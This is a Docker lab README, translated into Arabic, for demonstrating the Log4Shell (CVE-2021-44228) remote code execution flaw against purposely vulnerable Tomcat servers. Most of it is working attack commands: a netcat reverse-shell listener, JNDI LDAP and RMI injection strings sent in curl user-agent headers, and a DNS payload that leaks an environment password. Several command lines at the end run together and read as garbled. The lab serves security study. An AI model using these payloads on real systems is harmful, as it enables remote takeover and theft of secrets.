
عرض توضيحي لاستغلال RCE عبر LDAP يعتمد على Docker لثغرة CVE-2021-44228 Log4Shell
خادم Tomcat 8 التجريبي على المنفذ 8080 يحتوي على تطبيق ضعيف (log4shell) منشورًا عليه، والخادم عرضة أيضًا للهجمات عبر وكيل المستخدم (user-agent).
تطبيق الاستغلال عن بُعد في هذا العرض التجريبي مبني على التطبيق الموجود في https://github.com/kozmer/log4j-shell-poc
خادم Tomcat التجريبي هذا (Tomcat 8.5.3, Java 1.8.0u51) تمت إعادة تهيئته لاستخدام Log4J2 للتسجيل - وهو إعداد غير قياسي.
يتوفر الآن خادم Bitnami أحدث على المنفذ 8888. وهو أيضًا مهيأ لتسجيل Log4J2 ويعمل بـ Tomcat 9.0.55 و OpenJDK 11.0.13.
استغلال RMI ضد خادم Tomcat 9 / Java 11 موصوف هنا: https://www.veracode.com/blog/research/exploiting-jndi-injections-java (3 يناير 2019) بقلم Michael Stepankin
سيتحقق سكربت الكشف من ثغرات وكيل المستخدم (user-agent) وهو مأخوذ من هنا: https://gist.github.com/byt3bl33d3r/46661bc206d323e6770907d259e009b6
هذا الكود يتطلب Docker و Docker Compose
git clone https://github.com/cyberxml/log4j-poc
cd log4j-poc
# edit docker-compose.yml to addjust the environment variables as needed.
# POC_ADDR is the address of the cve-poc container
# LISTENER_ADDR is the address of the 'nc' listener e.g. the docker host
# The listener IP address is the address of the machine on which you will run the netcat 'nc' listener
# This can be the local IP of the docker hostmachine.
docker-compose build
nc -lv 10.10.10.31 9001docker-compose upadminpassword${jndi:ldap://172.16.238.11:1389/a}nc الخاص بكnc -lv 10.10.10.31 9001docker-compose upcurl -A "\${jndi:ldap://172.16.238.11:1389/a}" http://10.10.10.31:8080/log4shelldocker-compose upcurl -A "\${jndi:dns://10.10.10.31/\${env:POC_PASSWORD}}" http://10.10.10.31:8888/log4shell/أواجه مشكلات مع معامل سطر الأوامر الخاص بهدف ping. لذلك عليك أن تُجمّع بنفسك.
docker-compose updocker exec -it log4j-poc_cve-poc_1 /bin/bashcd /home/user/rmi-pocjavac -cp catalina.jar:. RMIServerPOC.javajavac -cp catalina.jar:. RMIServerPOC 127.0.0.1docker-compose upcurl -A "\${jndi:rmi://172.16.238.11:1097/Object}" http://10.10.10.31:8888/python3 log4j_rce_check.py http://10.10.10.31:8080/log4shell --attacker-host 10.10.10.31:11389 --timeout=2